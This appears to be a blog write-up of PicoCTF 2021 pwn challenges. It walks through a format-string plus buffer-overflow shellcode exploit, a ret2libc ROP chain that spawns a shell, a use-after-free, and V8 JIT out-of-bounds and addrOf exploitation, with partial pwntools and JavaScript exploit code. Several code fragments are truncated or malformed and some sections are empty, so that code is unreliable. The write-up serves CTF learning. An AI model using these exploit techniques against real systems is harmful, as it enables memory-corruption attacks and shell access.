PicoCTF 2021 (Pwn only)

My results: 11/16 completed!

1) Binary Gauntlet 2

1) Format String Vulnerability
2) Buffer overflow
Exploit Concept:
1) Use the format string vulnerability to leak stack address
2) From the leak, calculate the shellcode address
3) Buffer overflow and jump to shellcode
Challenges faced:
1) When overwriting RIP during the buffer overflow, it is done by strcpy so there is some address restrictions. (Null byte restriction etc)
2) Offset to the shellcode address on the server is off by +16 compared to local

2) Here’s a LibC

1) Buffer overflow in scanf (do_stuff + 38)
Exploit Concept:
1) Use ROP to leak PUTS_GOT address and restart the binary
2) Calculate LibC base with the leak
3) Use ROP to execve and get shell

Elaboration on Exploit Concept (1):

Here is a very standard way of leaking PUTS_GOT addresspayload = b’A’ * offset
payload += p64(POPRDI_gadget+1) #Ret gadget to do stack alignment
payload += p64(POPRDI_gadget) #Pop what you want to leak
payload += p64(OFFSET_PUTS_GOT) #This address is placed into rdi
payload += p64(OFFSET_PUTS_PLT) #Call puts_PLT which will leak GOT
payload += p64(POPRDI_gadget+1)
payload += p64(OFFSET_MAIN_PLT) #Restarting the binary

Elaboration on Exploit Concept (2) :

libc = ELF("./libc.so.6") #Server's libC
libc_base = leak_dec - libc.sym["puts"] #PwnTools will calculate PUT

Elaboration on Exploit Concept (3):

Specifying libc.address, we can easily search BINSH, SYSTEM and exit which will be used for execvelibc.address = libc_base
BINSH = next(libc.search(b"/bin/sh")) #Verify with find /bin/sh
SYSTEM = libc.sym["system"]
EXIT = libc.sym["exit"]

3) Unsubscriptions are Free

Does not check for a valid user in main, specifically the if(user) has been commented out. This allows for a Use-After-Free
Exploitation Concept:
1) Create some messages (just for fun)
2) Call delete account (this deletes the user object and whatToDo)
3) Leave a message of size 0x8 (This enters the memory space of user->whatToDo)
4) Now if your message is the leaked function pointer of get flag, it will trigger the function!

4) Horsepower

Reading the patch, we have a method (setHorsepower) that allows us to modify our initialized array length to any value. With this, we have OOB read/write.
Exploitation Concept:
1) Position objects/arrays nicely in memory.
2) Trigger setHorsepower to modify our float array length.
3) Read OOB to get float array map and element pointer.
4) Read OOB to get object array map and element pointer.
5) Get AddrOf and FakeObj primitives

AddrOf primitive:

In a normal obj_array with obj_array map, obj_array will hold the address of obj at index 0. When you call obj_array[0], compiler looks at the map of the obj_array and knows how to get to the obj. However, when you overwrite the obj_array map with a float_array map, the compiler will just output index 0 as a float and since index 0 is holding the address to obj, we will leak the address of the obj!

FakeObj primitive:

5) TurboFlan

var obj = {};
obj.c = {a: 1.1};

function leaker(o){
return o.c.a;
for (var i = 0; i < 0x4000; i++) {

var buf_to_leak = new ArrayBuffer();
obj.c = {b: buf_to_leak}
console.log(leaker(obj)) //output: 2.0289592652999e-310 //Address of buf_to_leak is leaked!
f = function(a,val) { 
a.z = val;
return a.x;
var corruptObj = {x : 1.5, y:1.5, v:1.5, w:1.5, a:1.5, b:3, c:3, d:3, e:3, f:3, i:3, j:3, k:3, k:3, z: 3 };
for (let i = 0; i < 10000; i++){
obj = {a:aux_obj_arr};  //need to allocate 2 objects
obj = {a:aux_obj_arr};
//position aux_float_arr below it to corrupt it
//aux_float_arr will be corrupted, giving it a very large length, allowing OOB read/write
aux_float_arr = [1.1, 2.2, 3.3];
//overwrite the length of aux_float_arr with 0x55
var leak = f(obj,0x55);

Explaining the vulnerability:



Get the Medium app

A button that says 'Download on the App Store', and if clicked it will lead you to the iOS App store
A button that says 'Get it on, Google Play', and if clicked it will lead you to the Google Play store